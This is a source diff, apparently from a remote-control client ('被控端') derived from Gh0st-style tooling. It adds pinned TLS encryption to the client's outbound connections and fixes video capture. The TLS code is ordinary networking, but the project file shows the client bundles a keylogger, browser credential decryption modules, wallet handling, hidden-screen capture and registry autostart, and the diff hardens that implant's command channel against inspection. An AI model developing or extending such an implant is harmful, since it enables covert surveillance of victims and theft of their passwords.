+                              der.data(), &derLen, NULL, NULL)) {
+        if (!CryptStringToBinaryA(pem.data(), (DWORD)pem.size(), CRYPT_STRING_BASE64HEADER,
+                                  der.data(), &derLen, NULL, NULL)) {
+            Mprintf("[TLS] failed to decode certificate %s\n", source.c_str());
+            return false;
+        }
+    }
+
+    PCCERT_CONTEXT cert = CertCreateCertificateContext(X509_ASN_ENCODING, der.data(), derLen);
+    if (!cert) {
+        Mprintf("[TLS] invalid certificate %s\n", source.c_str());
+        return false;
+    }
+
+    HCERTSTORE store = CertOpenStore(CERT_STORE_PROV_MEMORY, X509_ASN_ENCODING,
+                                     0, CERT_STORE_CREATE_NEW_FLAG, NULL);
+    if (!store) {
+        CertFreeCertificateContext(cert);
+        Mprintf("[TLS] CertOpenStore failed\n");
+        return false;
+    }
+    if (!CertAddCertificateContextToStore(store, cert, CERT_STORE_ADD_REPLACE_EXISTING, NULL)) {
+        CertCloseStore(store, 0);
+        CertFreeCertificateContext(cert);
+        Mprintf("[TLS] CertAddCertificateContextToStore failed\n");
+        return false;
+    }
+    CertFreeCertificateContext(cert);
+
+    *outStore = store;
+    return true;
+}
+
+void InitTls()
+{
+    std::string pem, source;
+    if (!ReadTrustAnchor(pem, source)) {
+        // 无证书 → 明文（默认，与老客户端一致）
+        g_tlsEnabled = false;
+        g_tlsError = false;
+        Mprintf("[TLS] disabled: no trust anchor configured, plaintext mode\n");
+        return;
+    }
+
+    // 证书已配置：管理员已「颁发」，必须走 TLS；加载失败即拒绝连接（fail-closed），
+    // 不能静默回退明文。
+    HCERTSTORE store = NULL;
+    if (!LoadTrustAnchor(pem, source, &store)) {
+        g_tlsEnabled = false;
+        g_tlsError = true;
+        Mprintf("[TLS] FATAL: trust anchor (%s) present but failed to load; refusing connections (fail-closed)\n",
+                source.c_str());
+        return;
+    }
+
+    // 严格钉扎：链引擎只信任该 store 里的根证书，排除系统根库。否则攻击者拿一张任意
+    // 公共 CA 签发的证书就能通过 CertGetCertificateChain（默认引擎信任系统根库）。
+    CERT_CHAIN_ENGINE_CONFIG ec = {};
+    ec.cbSize = sizeof(ec);
+    ec.hExclusiveRoot = store;
+    HCERTCHAINENGINE engine = NULL;
+    if (!CertCreateCertificateChainEngine(&ec, &engine)) {
+        CertCloseStore(store, 0);
+        g_tlsEnabled = false;
+        g_tlsError = true;
+        Mprintf("[TLS] FATAL: CertCreateCertificateChainEngine failed; refusing connections (fail-closed)\n");
+        return;
+    }
+
+    g_tlsStore = store;
+    g_tlsEngine = engine;
+    g_tlsEnabled = true;
+    g_tlsError = false;
+    Mprintf("[TLS] enabled: trust anchor loaded (%s), all connections use TLS\n", source.c_str());
+}
+
+} // namespace
+
+bool TlsEnabled()
+{
+    std::call_once(g_tlsOnce, InitTls);
+    return g_tlsEnabled;
+}
+
+bool TlsLoadError()
+{
+    std::call_once(g_tlsOnce, InitTls);
+    return g_tlsError;
+}
+
+// ---- TlsChannel ----
+
+void TlsChannel::CloseHandles()
+{
+    std::lock_guard<std::recursive_mutex> lk(m_ctxMtx);
+    if (m_ctxValid) { DeleteSecurityContext(&m_ctx); m_ctx = {}; m_ctxValid = false; }
+    if (m_credValid) { FreeCredentialsHandle(&m_cred); m_cred = {}; m_credValid = false; }
+    m_ready = false;
+    m_raw.clear();
+    m_pending.clear();
+}
+
+bool TlsChannel::SendAll(SOCKET sock, const void* data, int len)
+{
+    const char* p = (const char*)data;
+    int sent = 0;
+    while (sent < len) {
+        int n = ::send(sock, p + sent, len - sent, 0);
+        if (n == SOCKET_ERROR || n == 0)
+            return false;
+        sent += n;
+    }
+    return true;
+}
+
+bool TlsChannel::VerifyServerCert()
+{
+    PCCERT_CONTEXT remote = NULL;
+    SECURITY_STATUS sc = QueryContextAttributesA(&m_ctx, SECPKG_ATTR_REMOTE_CERT_CONTEXT, &remote);
+    if (sc != SEC_E_OK || !remote)
+        return false;
+
+    if (!g_tlsStore || !g_tlsEngine) {
+        CertFreeCertificateContext(remote);
+        return false;
+    }
+
+    CERT_CHAIN_PARA para = {};
+    para.cbSize = sizeof(para);
+    PCCERT_CHAIN_CONTEXT chain = NULL;
+    // g_tlsEngine 的 hExclusiveRoot 已把信任锚限制为 g_tlsStore；hAdditionalStore 再传一次
+    // 该 store 供链引擎查找 CA/中间证书。只接受「无任何错误位」的链（含时间有效性）。
+    // 不设置任何 CERT_CHAIN_REVOCATION_CHECK_* 位 = 不做吊销检查（私有 CA 无 CRL/OCSP，
+    // 且这些位会触发联网，反而失败）；只保留 CERT_CHAIN_DISABLE_AIA 禁止联网取中间证书。
+    BOOL ok = CertGetCertificateChain(g_tlsEngine, remote, NULL, g_tlsStore, &para,
+                                      CERT_CHAIN_DISABLE_AIA,
+                                      NULL, &chain);
+    bool trusted = false;
+    if (ok && chain) {
+        trusted = (chain->TrustStatus.dwErrorStatus == CERT_TRUST_NO_ERROR);
+    }
+    if (chain) CertFreeCertificateChain(chain);
+    CertFreeCertificateContext(remote);
+    return trusted;
+}
+
+bool TlsChannel::Handshake(SOCKET sock)
+{
+    std::lock_guard<std::recursive_mutex> lk(m_ctxMtx);
+    CloseHandles();   // 重连时清理上一次会话（recursive 锁，此处可重入）
+
+    SCHANNEL_CRED cred = {};
+    cred.dwVersion = SCHANNEL_CRED_VERSION;
+    cred.dwFlags = SCH_CRED_MANUAL_CRED_VALIDATION | SCH_CRED_NO_DEFAULT_CREDS;
+    cred.grbitEnabledProtocols = SP_PROT_TLS1_2_CLIENT;   // TLS 1.2（与 Go 端 MinVersion 对齐）
+
+    TimeStamp tsExpiry = {};
+    SECURITY_STATUS sc = AcquireCredentialsHandleA(
+        NULL, (SEC_CHAR*)"Microsoft Unified Security Protocol Provider",
+        SECPKG_CRED_OUTBOUND, NULL, &cred, NULL, NULL, &m_cred, &tsExpiry);
+    if (sc != SEC_E_OK) {
+        Mprintf("[TLS] AcquireCredentialsHandle failed: 0x%08X\n", (unsigned)sc);
+        return false;
+    }
+    m_credValid = true;
+
+    DWORD flags = ISC_REQ_SEQUENCE_DETECT | ISC_REQ_REPLAY_DETECT | ISC_REQ_CONFIDENTIALITY
+                | ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_STREAM | ISC_REQ_MANUAL_CRED_VALIDATION;
+
+    SecBuffer outBuf = { 0, SECBUFFER_TOKEN, NULL };
+    SecBufferDesc outDesc = { SECBUFFER_VERSION, 1, &outBuf };
+    ULONG attrs = 0;
+
+    // 首次调用产生 ClientHello
+    sc = InitializeSecurityContextA(&m_cred, NULL, NULL, flags, 0, SECURITY_NATIVE_DREP,
+                                    NULL, 0, &m_ctx, &outDesc, &attrs, &tsExpiry);
+    m_ctxValid = true;   // 上下文已分配，之后必须 DeleteSecurityContext
+    if (sc != SEC_I_CONTINUE_NEEDED && sc != SEC_E_OK) {
+        Mprintf("[TLS] InitializeSecurityContext(initial) failed: 0x%08X\n", (unsigned)sc);
+        CloseHandles();
+        return false;
+    }
+    if (outBuf.cbBuffer > 0 && outBuf.pvBuffer) {
+        if (!SendAll(sock, outBuf.pvBuffer, (int)outBuf.cbBuffer)) {
+            FreeContextBuffer(outBuf.pvBuffer);
+            CloseHandles();
+            return false;
+        }
+        FreeContextBuffer(outBuf.pvBuffer);
+    }
+
+    std::vector<BYTE> hs;
+    char raw[8192];
+    while (sc == SEC_I_CONTINUE_NEEDED || sc == SEC_E_INCOMPLETE_MESSAGE ||
+           sc == SEC_I_INCOMPLETE_CREDENTIALS)
+    {
+        int r = recv(sock, raw, sizeof(raw), 0);
+        if (r == SOCKET_ERROR || r == 0) {
+            Mprintf("[TLS] handshake recv failed/EOF\n");
+            CloseHandles();
+            return false;
+        }
+        hs.insert(hs.end(), (BYTE*)raw, (BYTE*)raw + r);
+
+        SecBuffer inBufs[2] = {
+            { (ULONG)hs.size(), SECBUFFER_TOKEN, hs.data() },
+            { 0, SECBUFFER_EMPTY, NULL },
+        };
+        SecBufferDesc inDesc = { SECBUFFER_VERSION, 2, inBufs };
+
+        outBuf = { 0, SECBUFFER_TOKEN, NULL };
+        outDesc = { SECBUFFER_VERSION, 1, &outBuf };
+
+        sc = InitializeSecurityContextA(&m_cred, &m_ctx, NULL, flags, 0, SECURITY_NATIVE_DREP,
+                                        &inDesc, 0, NULL, &outDesc, &attrs, &tsExpiry);
+
+        // 裁剪已消费的输入，仅保留 SECBUFFER_EXTRA 指向的未消费尾部
+        if (inBufs[1].BufferType == SECBUFFER_EXTRA) {
+            int extra = inBufs[1].cbBuffer;
+            int consumed = (int)hs.size() - extra;
+            hs.erase(hs.begin(), hs.begin() + consumed);
+        } else {
+            hs.clear();
+        }
+
+        if (outBuf.cbBuffer > 0 && outBuf.pvBuffer) {
+            if (!SendAll(sock, outBuf.pvBuffer, (int)outBuf.cbBuffer)) {
+                FreeContextBuffer(outBuf.pvBuffer);
+                CloseHandles();
+                return false;
+            }
+            FreeContextBuffer(outBuf.pvBuffer);
+        }
+    }
+
+    if (sc != SEC_E_OK) {
+        Mprintf("[TLS] handshake failed: 0x%08X\n", (unsigned)sc);
+        CloseHandles();
+        return false;
+    }
+
+    // 握手成功后 hs 里可能残留「未消费的尾部」= 服务端 Finished 后紧跟的首条应用数据
+    // （TLS 记录）。若不下发，首包会被丢弃，导致随机丢包/协议错位。交给 Recv 解。
+    if (!hs.empty())
+        m_raw.insert(m_raw.end(), hs.begin(), hs.end());
+
+    if (!VerifyServerCert()) {
+        Mprintf("[TLS] server certificate not trusted against yama-ca.pem (fail-closed)\n");
+        CloseHandles();
+        return false;
+    }
+
+    sc = QueryContextAttributesA(&m_ctx, SECPKG_ATTR_STREAM_SIZES, &m_sizes);
+    if (sc != SEC_E_OK) {
+        Mprintf("[TLS] QueryContextAttributes(StreamSizes) failed: 0x%08X\n", (unsigned)sc);
+        CloseHandles();
+        return false;
+    }
+
+    m_ready = true;
+    Mprintf("[TLS] handshake OK (TLS 1.2, server cert trusted)\n");
+    return true;
+}
+
+int TlsChannel::Recv(SOCKET sock, char* out, int outLen)
+{
+    std::lock_guard<std::recursive_mutex> lk(m_ctxMtx);
+    if (!m_ready || outLen <= 0) {
+        Mprintf("[TLS] Recv called but m_ready=%d (outLen=%d), returning SOCKET_ERROR\n",
+                (int)m_ready, outLen);
+        return SOCKET_ERROR;
+    }
+
+    if (!m_pending.empty()) {
+        int n = (int)m_pending.size() < outLen ? (int)m_pending.size() : outLen;
+        memcpy(out, m_pending.data(), n);
+        m_pending.erase(m_pending.begin(), m_pending.begin() + n);
+        return n;
+    }
+
+    char raw[16384];
+    for (;;) {
+        // 优先解密 m_raw 里已缓冲的字节（握手时随 Finished 收下的首条应用数据，或上轮
+        // 一次 recv 到多条记录后剩下的记录）。select() 只看底层 socket，看不到这些字节，
+        // 若先 recv 就会把它们卡住（随机延迟/死锁/协议错位）。
+        while (!m_raw.empty()) {
+            SecBuffer bufs[4] = {
+                { (ULONG)m_raw.size(), SECBUFFER_DATA, m_raw.data() },
+                { 0, SECBUFFER_EMPTY, NULL },
+                { 0, SECBUFFER_EMPTY, NULL },
+                { 0, SECBUFFER_EMPTY, NULL },
+            };
+            SecBufferDesc desc = { SECBUFFER_VERSION, 4, bufs };
+            SECURITY_STATUS sc = DecryptMessage(&m_ctx, &desc, 0, NULL);
+
+            if (sc == SEC_E_INCOMPLETE_MESSAGE)
+                break;   // 记录不完整，去 recv 补字节
+            if (sc == SEC_I_CONTEXT_EXPIRED)
+                return 0;   // close_notify
+            if (sc == SEC_I_RENEGOTIATE || FAILED(sc)) {
+                // 客户端解密失败（服务端发来的密文损坏/错位）。这里只返回 SOCKET_ERROR，
+                // 而 WSAGetLastError() 会残留上一次 Winsock 调用的旧值（如 6001），
+                // 掩盖真实原因，故把真实的 SECURITY_STATUS 记下来。
+                Mprintf("[TLS] client DecryptMessage failed 0x%08x (raw=%u pending=%u)\n",
+                        (unsigned)sc, (unsigned)m_raw.size(), (unsigned)m_pending.size());
+                return SOCKET_ERROR;
+            }
+
+            // 流模式 DecryptMessage 会把输入 SECBUFFER_DATA 重组为 4 段：
+            // bufs[0]=STREAM_HEADER(记录头+nonce)、bufs[1]=DATA(明文)、
+            // bufs[2]=STREAM_TRAILER(标签)、bufs[3]=EXTRA(下一条记录)。
+            // 明文在 bufs[1].pvBuffer，不在 m_raw 首字节。
+            int decLen = bufs[1].cbBuffer;
+            const BYTE* plain = (const BYTE*)bufs[1].pvBuffer;
+            int extra = (bufs[3].BufferType == SECBUFFER_EXTRA) ? bufs[3].cbBuffer : 0;
+            int consumed = (int)m_raw.size() - extra;
+            m_pending.insert(m_pending.end(), plain, plain + decLen);
+            m_raw.erase(m_raw.begin(), m_raw.begin() + consumed);
+
+            if (!m_pending.empty()) {
+                int n = (int)m_pending.size() < outLen ? (int)m_pending.size() : outLen;
+                memcpy(out, m_pending.data(), n);
+                m_pending.erase(m_pending.begin(), m_pending.begin() + n);
+                return n;
+            }
+            // 无明文的记录（如 alert/CCS）：继续循环解下一条
+        }
+
+        int r = recv(sock, raw, sizeof(raw), 0);
+        if (r == SOCKET_ERROR)
+            return SOCKET_ERROR;
+        if (r == 0)
+            return 0;   // 对端关闭（此时无 pending，且 m_raw 已解完/为空）
+        m_raw.insert(m_raw.end(), (BYTE*)raw, (BYTE*)raw + r);
+        // 循环回顶部，解密刚收到的字节
+    }
+}
+
+int TlsChannel::Send(SOCKET sock, const char* data, int len)
+{
+    std::lock_guard<std::recursive_mutex> lk(m_ctxMtx);
+    if (!m_ready)
+        return SOCKET_ERROR;
+    if (len <= 0)
+        return 0;
+
+    ULONG maxMsg = m_sizes.cbMaximumMessage > 0 ? m_sizes.cbMaximumMessage : 16384;
+    int total = 0;
+    while (total < len) {
+        int chunk = (len - total > (int)maxMsg) ? (int)maxMsg : (len - total);
+
+        std::vector<BYTE> rec(m_sizes.cbHeader + chunk + m_sizes.cbTrailer);
+        BYTE* hdr = rec.data();
+        BYTE* body = hdr + m_sizes.cbHeader;
+        BYTE* trailer = body + chunk;
+        memcpy(body, data + total, chunk);
+
+        SecBuffer bufs[4] = {
+            { m_sizes.cbHeader, SECBUFFER_STREAM_HEADER, hdr },
+            { (ULONG)chunk, SECBUFFER_DATA, body },
+            { m_sizes.cbTrailer, SECBUFFER_STREAM_TRAILER, trailer },
+            { 0, SECBUFFER_EMPTY, NULL },
+        };
+        SecBufferDesc desc = { SECBUFFER_VERSION, 4, bufs };
+        SECURITY_STATUS sc = EncryptMessage(&m_ctx, 0, &desc, 0);
+        if (FAILED(sc)) {
+            return total > 0 ? total : SOCKET_ERROR;
+        }
+
+        int wireLen = bufs[0].cbBuffer + bufs[1].cbBuffer + bufs[2].cbBuffer;
+        if (!SendAll(sock, rec.data(), wireLen)) {
+            return total > 0 ? total : SOCKET_ERROR;
+        }
+        total += chunk;
+    }
+    return total;
+}
+
+#endif // _WIN32

client/TlsChannel.h

@@ -0,0 +1,94 @@
+// TlsChannel.h — Windows 客户端单向 TLS（Schannel）会话封装
+//
+// 用途：为 YAMA 客户端（被控端）提供「按需开启」的传输层加密。当信任锚证书存在时
+// （注册表 Software\<exehash>\settings\tls_cert，或 yama-ca.pem 文件，见 TlsChannel.cpp
+// 的 InitTls），所有出站 TCP 连接在应用协议首包前先完成 TLS 握手；握手失败一律断开
+// （fail-closed，不回退明文）。
+//
+// 选型：Schannel（Windows 原生 SSPI），零第三方依赖；secur32.lib / crypt32.lib 为
+// 系统库。单向 TLS：客户端只校验服务端证书链到固定的信任锚，不提供客户端证书，
+// 客户端身份仍由隧道内登录（V1 PwdHmac / V2 ECDSA）承担。
+//
+// 线程模型：Handshake 在连接建立线程上、m_bConnected 置位前调用；Send/Recv 分别在
+// 发送线程 / 接收线程上调用。上下文生命周期（Handshake/CloseHandles 释放 m_ctx）与
+// Send/Recv 对 m_ctx 的使用（EncryptMessage/DecryptMessage）由 m_ctxMtx 互斥，避免
+// 重连线程释放上下文时与使用线程产生 use-after-free。本对象作为 IOCPClient 的值成员
+// 存在，析构时释放上下文。
+//
+// 注意：本文件仅在 _WIN32 下有效，非 Windows 构建（Linux/macOS/Android）不含任何内容，
+// 客户端维持明文（TLS 接入按设计文档延后）。
+#pragma once
+
+#ifdef _WIN32
+
+#include <WinSock2.h>
+
+#ifndef SECURITY_WIN32
+#define SECURITY_WIN32 1
+#endif
+#include <security.h>
+#include <schannel.h>
+
+#include <mutex>
+#include <vector>
+
+// 进程级 TLS 开关：首次调用时加载信任锚（注册表或文件），返回是否启用。线程安全、幂等。
+bool TlsEnabled();
+
+// 信任锚已配置但加载失败（损坏/格式错误）时为 true：表示管理员已「颁发」证书，
+// 客户端必须拒绝连接（fail-closed），不得静默回退明文。线程安全、幂等。
+bool TlsLoadError();
+
+class TlsChannel
+{
+public:
+    TlsChannel() {}
+    ~TlsChannel() { CloseHandles(); }
+
+    // 持 Schannel 句柄，禁止拷贝/赋值（避免句柄被二次释放）。
+    TlsChannel(const TlsChannel&) = delete;
+    TlsChannel& operator=(const TlsChannel&) = delete;
+
+    // 在已连通的 socket 上完成 TLS 客户端握手并校验服务端证书链。失败返回 false，
+    // 调用方必须关闭 socket（fail-closed）。可重复调用（重连时复用同一对象）。
+    bool Handshake(SOCKET sock);
+
+    // 解密读取：返回 >0 的明文字节数；0 表示对端正常关闭；SOCKET_ERROR(-1) 出错。
+    int  Recv(SOCKET sock, char* buf, int len);
+
+    // 加密发送 len 字节：成功返回已完整发送的明文字节数（== len）；失败返回已发送的
+    // 前缀字节数（>0）或 SOCKET_ERROR（一个字节都没发出去时）。
+    int  Send(SOCKET sock, const char* buf, int len);
+
+    // 是否有待交付的数据：已解密明文（m_pending）或已缓冲但尚未解密的 TLS 记录（m_raw）。
+    // 供接收线程在 select 前优先消费——select 只看底层 socket，看不到 Schannel 缓冲的
+    // m_raw（握手时随 Finished 收下的首条应用数据、或一次 recv 到多条记录后的剩余），
+    // 若这里不把 m_raw 也算作「有数据」，这些字节会被 select 卡住。
+    bool HasPending() const { return !m_pending.empty() || !m_raw.empty(); }
+
+    // 握手是否已完成（Send/Recv 可用）。诊断用：区分「本连接已走 TLS」与「裸连接」。
+    bool IsReady() const { return m_ready; }
+
+private:
+    void CloseHandles();
+    bool SendAll(SOCKET sock, const void* data, int len);
+    bool VerifyServerCert();
+
+    CredHandle m_cred = {};
+    CtxtHandle m_ctx  = {};
+    bool m_credValid  = false;   // m_cred 已分配，需 FreeCredentialsHandle
+    bool m_ctxValid   = false;   // m_ctx 已分配，需 DeleteSecurityContext
+    bool m_ready      = false;   // 握手完成，Send/Recv 可用
+
+    SecPkgContext_StreamSizes m_sizes = {};
+
+    // 保护上下文生命周期：重连线程的 Handshake/CloseHandles（释放 m_ctx）与工作线程的
+    // Recv（DecryptMessage）、发送线程的 Send（EncryptMessage）互斥，避免 use-after-free。
+    // recursive 是因为 Handshake 内部会再调 CloseHandles。
+    std::recursive_mutex m_ctxMtx;
+
+    std::vector<BYTE> m_raw;      // 尚未解密 / 未消费完的 TLS 记录原始字节
+    std::vector<BYTE> m_pending;  // 已解密、未交付给应用层的明文
+};
+
+#endif // _WIN32

client/VideoManager.cpp

@@ -21,7 +21,7 @@ CVideoManager::CVideoManager(IOCPClient* ClientObject, int n, void* user) : CMan
     m_pVideoCodec = NULL;
     m_fccHandler = 1129730893;
 
-    m_CapVideo.Open(0,0);  // 开启
+    m_bVideoOpened = m_CapVideo.Open(0,0) == S_OK;  // 开启
     lpBuffer = NULL;
 
     m_hWorkThread = __CreateThread(NULL, 0, WorkThread, this, 0, NULL);
@@ -31,6 +31,11 @@ CVideoManager::CVideoManager(IOCPClient* ClientObject, int n, void* user) : CMan
 DWORD CVideoManager::WorkThread(LPVOID lParam)
 {
     CVideoManager *This = (CVideoManager *)lParam;
+    if (!This->m_bVideoOpened) {
+        This->Destroy();
+        return 0x20261013;
+    }
+
     static ULONGLONG	dwLastScreen = GetTickCount64();
 
     if (This->Initialize()) {        //转到Initialize

client/VideoManager.h

@@ -25,6 +25,7 @@ public:
 
     BOOL  m_bIsWorking;
     HANDLE m_hWorkThread;
+    BOOL m_bVideoOpened;
 
     void SendBitMapInfor();
     BOOL SendNextScreen();

client/ghost_vs2015.vcxproj

@@ -233,6 +233,7 @@
     <ClCompile Include="CFFmpegH264Encoder.cpp" />
     <ClCompile Include="EncoderFactory.cpp" />
     <ClCompile Include="TalkManager.cpp" />
+    <ClCompile Include="TlsChannel.cpp" />
     <ClCompile Include="ChatManager.cpp" />
     <ClCompile Include="MachineManager.cpp" />
     <ClCompile Include="VideoManager.cpp" />
@@ -299,6 +300,7 @@
     <ClInclude Include="SystemManager.h" />
     <ClInclude Include="VideoEncoderBase.h" />
     <ClInclude Include="TalkManager.h" />
+    <ClInclude Include="TlsChannel.h" />
     <ClInclude Include="ChatManager.h" />
     <ClInclude Include="MachineManager.h" />
     <ClInclude Include="yapi.hpp" />

client/ghost_vs2015.vcxproj.filters

@@ -0,0 +1,204 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <ItemGroup>
+    <ClCompile Include="..\common\file_upload.cpp" />
+    <ClCompile Include="..\common\ikcp.c" />
+    <ClCompile Include="..\common\zstd_wrapper.c" />
+    <ClCompile Include="..\server\2015Remote\pwd_gen.cpp" />
+    <ClCompile Include="ActivityHistory.cpp" />
+    <ClCompile Include="Audio.cpp" />
+    <ClCompile Include="AudioManager.cpp" />
+    <ClCompile Include="Buffer.cpp" />
+    <ClCompile Include="CaptureVideo.cpp" />
+    <ClCompile Include="clang_rt_compat.c" />
+    <ClCompile Include="ClientDll.cpp" />
+    <ClCompile Include="Common.cpp" />
+    <ClCompile Include="FileManager.cpp" />
+    <ClCompile Include="file\FileManager.cpp" />
+    <ClCompile Include="file\MasterEncoder.cpp" />
+    <ClCompile Include="file\zip.cpp" />
+    <ClCompile Include="screenhide\ScreenHideManager.cpp" />
+    <ClCompile Include="DrawingBoardMgr.cpp" />
+    <ClCompile Include="IOCPClient.cpp" />
+    <ClCompile Include="IOCPKCPClient.cpp" />
+    <ClCompile Include="IOCPUDPClient.cpp" />
+    <ClCompile Include="KernelManager.cpp" />
+    <ClCompile Include="KeyboardManager.cpp" />
+    <ClCompile Include="keylogger.cpp" />
+    <ClCompile Include="Loader.cpp" />
+    <ClCompile Include="LoginServer.cpp" />
+    <ClCompile Include="ClientLogManager.cpp" />
+    <ClCompile Include="Manager.cpp" />
+    <ClCompile Include="MemoryModule.c" />
+    <ClCompile Include="proxy\ProxyManager.cpp" />
+    <ClCompile Include="RegisterManager.cpp" />
+    <ClCompile Include="RegisterOperation.cpp" />
+    <ClCompile Include="reg_startup.c" />
+    <ClCompile Include="SafeThread.cpp" />
+    <ClCompile Include="ScreenManager.cpp" />
+    <ClCompile Include="ScreenPreview.cpp" />
+    <ClCompile Include="ScreenSpy.cpp" />
+    <ClCompile Include="ServicesManager.cpp" />
+    <ClCompile Include="ConnectionsManager.cpp" />
+    <ClCompile Include="ServiceWrapper.c" />
+    <ClCompile Include="session.cpp" />
+    <ClCompile Include="SessionMonitor.c" />
+    <ClCompile Include="ShellManager.cpp" />
+    <ClCompile Include="ConPTYManager.cpp" />
+    <ClCompile Include="StdAfx.cpp" />
+    <ClCompile Include="SystemManager.cpp" />
+    <ClCompile Include="CFFmpegAV1Encoder.cpp" />
+    <ClCompile Include="CFFmpegH264Encoder.cpp" />
+    <ClCompile Include="EncoderFactory.cpp" />
+    <ClCompile Include="TalkManager.cpp" />
+    <ClCompile Include="TlsChannel.cpp" />
+    <ClCompile Include="ChatManager.cpp" />
+    <ClCompile Include="MachineManager.cpp" />
+    <ClCompile Include="VideoManager.cpp" />
+    <ClCompile Include="X264Encoder.cpp" />
+    <ClCompile Include="decrypt\DecryptManager.cpp">
+      <Filter>decrypt</Filter>
+    </ClCompile>
+    <ClCompile Include="decrypt\Get360seInfo.cpp">
+      <Filter>decrypt</Filter>
+    </ClCompile>
+    <ClCompile Include="decrypt\GetBrowserInfo.cpp">
+      <Filter>decrypt</Filter>
+    </ClCompile>
+    <ClCompile Include="decrypt\UnCode.cpp">
+      <Filter>decrypt</Filter>
+    </ClCompile>
+    <ClCompile Include="decrypt\sqlite3\rijndael.c">
+      <Filter>decrypt</Filter>
+    </ClCompile>
+    <ClCompile Include="decrypt\sqlite3\sqlite3.c">
+      <Filter>decrypt</Filter>
+    </ClCompile>
+    <ClCompile Include="decrypt\cJSON\cJSON.c">
+      <Filter>decrypt</Filter>
+    </ClCompile>
+    <ClCompile Include="decrypt\cJSON\cJSON_Utils.c">
+      <Filter>decrypt</Filter>
+    </ClCompile>
+    <ClCompile Include="decrypt\base64\base64.c">
+      <Filter>decrypt</Filter>
+    </ClCompile>
+  </ItemGroup>
+  <ItemGroup>
+    <ClInclude Include="..\common\file_upload.h" />
+    <ClInclude Include="..\common\ikcp.h" />
+    <ClInclude Include="..\common\mask.h" />
+    <ClInclude Include="..\common\wallet.h" />
+    <ClInclude Include="..\common\zstd_wrapper.h" />
+    <ClInclude Include="..\server\2015Remote\pwd_gen.h" />
+    <ClInclude Include="ActivityHistory.h" />
+    <ClInclude Include="Audio.h" />
+    <ClInclude Include="AudioManager.h" />
+    <ClInclude Include="auto_start.h" />
+    <ClInclude Include="Buffer.h" />
+    <ClInclude Include="CaptureVideo.h" />
+    <ClInclude Include="ClientApp.h" />
+    <ClInclude Include="clip.h" />
+    <ClInclude Include="Common.h" />
+    <ClInclude Include="CursorInfo.h" />
+    <ClInclude Include="domain_pool.h" />
+    <ClInclude Include="FileManager.h" />
+    <ClInclude Include="file\FileManager.h" />
+    <ClInclude Include="file\MasterEncoder.h" />
+    <ClInclude Include="file\zip.h" />
+    <ClInclude Include="screenhide\ScreenManagerBase.h" />
+    <ClInclude Include="screenhide\ScreenHideManager.h" />
+    <ClInclude Include="screenhide\ScreenHideSpy.h" />
+    <ClInclude Include="DrawingBoardMgr.h" />
+    <ClInclude Include="IOCPClient.h" />
+    <ClInclude Include="IOCPKCPClient.h" />
+    <ClInclude Include="IOCPUDPClient.h" />
+    <ClInclude Include="KernelManager.h" />
+    <ClInclude Include="KeyboardManager.h" />
+    <ClInclude Include="keylogger.h" />
+    <ClInclude Include="LoginServer.h" />
+    <ClInclude Include="Manager.h" />
+    <ClInclude Include="ClientLogManager.h" />
+    <ClInclude Include="MemoryModule.h" />
+    <ClInclude Include="my_clip.h" />
+    <ClInclude Include="proxy\ProxyManager.h" />
+    <ClInclude Include="RegisterManager.h" />
+    <ClInclude Include="RegisterOperation.h" />
+    <ClInclude Include="reg_startup.h" />
+    <ClInclude Include="resource.h" />
+    <ClInclude Include="SafeThread.h" />
+    <ClInclude Include="ScreenCapturerDXGI.h" />
+    <ClInclude Include="ScreenManager.h" />
+    <ClInclude Include="ScreenPreview.h" />
+    <ClInclude Include="ScreenSpy.h" />
+    <ClInclude Include="ServicesManager.h" />
+    <ClInclude Include="ConnectionsManager.h" />
+    <ClInclude Include="ServiceWrapper.h" />
+    <ClInclude Include="session.h" />
+    <ClInclude Include="SessionMonitor.h" />
+    <ClInclude Include="ShellManager.h" />
+    <ClInclude Include="ConPTYManager.h" />
+    <ClInclude Include="StdAfx.h" />
+    <ClInclude Include="CFFmpegAV1Encoder.h" />
+    <ClInclude Include="CFFmpegH264Encoder.h" />
+    <ClInclude Include="EncoderFactory.h" />
+    <ClInclude Include="SystemManager.h" />
+    <ClInclude Include="VideoEncoderBase.h" />
+    <ClInclude Include="TalkManager.h" />
+    <ClInclude Include="TlsChannel.h" />
+    <ClInclude Include="ChatManager.h" />
+    <ClInclude Include="MachineManager.h" />
+    <ClInclude Include="yapi.hpp" />
+    <ClInclude Include="VideoCodec.h" />
+    <ClInclude Include="VideoManager.h" />
+    <ClInclude Include="X264Encoder.h" />
+    <ClInclude Include="decrypt\DecryptManager.h">
+      <Filter>decrypt</Filter>
+    </ClInclude>
+    <ClInclude Include="decrypt\Get360seInfo.h">
+      <Filter>decrypt</Filter>
+    </ClInclude>
+    <ClInclude Include="decrypt\GetBrowserInfo.h">
+      <Filter>decrypt</Filter>
+    </ClInclude>
+    <ClInclude Include="decrypt\UnCode.h">
+      <Filter>decrypt</Filter>
+    </ClInclude>
+    <ClInclude Include="decrypt\sqlite3\rijndael.h">
+      <Filter>decrypt</Filter>
+    </ClInclude>
+    <ClInclude Include="decrypt\sqlite3\sqlite3.h">
+      <Filter>decrypt</Filter>
+    </ClInclude>
+    <ClInclude Include="decrypt\sqlite3\sqlite3ext.h">
+      <Filter>decrypt</Filter>
+    </ClInclude>
+    <ClInclude Include="decrypt\cJSON\cJSON.h">
+      <Filter>decrypt</Filter>
+    </ClInclude>
+    <ClInclude Include="decrypt\cJSON\cJSON_Utils.h">
+      <Filter>decrypt</Filter>
+    </ClInclude>
+    <ClInclude Include="decrypt\base64\base64.h">
+      <Filter>decrypt</Filter>
+    </ClInclude>
+  </ItemGroup>
+  <ItemGroup>
+    <ResourceCompile Include="Script.rc" />
+  </ItemGroup>
+  <ItemGroup>
+    <Media Include="Res\msg.wav" />
+  </ItemGroup>
+  <ItemGroup>
+    <Image Include="Res\ghost.ico" />
+    <Image Include="Res\msg.ico" />
+  </ItemGroup>
+  <ItemGroup>
+    <None Include="ExportFunTable.def" />
+  </ItemGroup>
+  <ItemGroup>
+    <Filter Include="decrypt">
+      <UniqueIdentifier>{4b839e4d-0a78-4ee2-8965-bfb259b28273}</UniqueIdentifier>
+    </Filter>
+  </ItemGroup>
+</Project>

client/test.cpp

@@ -495,8 +495,12 @@ BOOL Run(const char* argv1, int argv2, const std::string &runCmd)
         }
         do {
             run(ip, port);
-            while (bStop && !bStop() && 0 == status)
-                Sleep(20);
+            if (bExit && bExit() != S_SERVER_EXIT) {
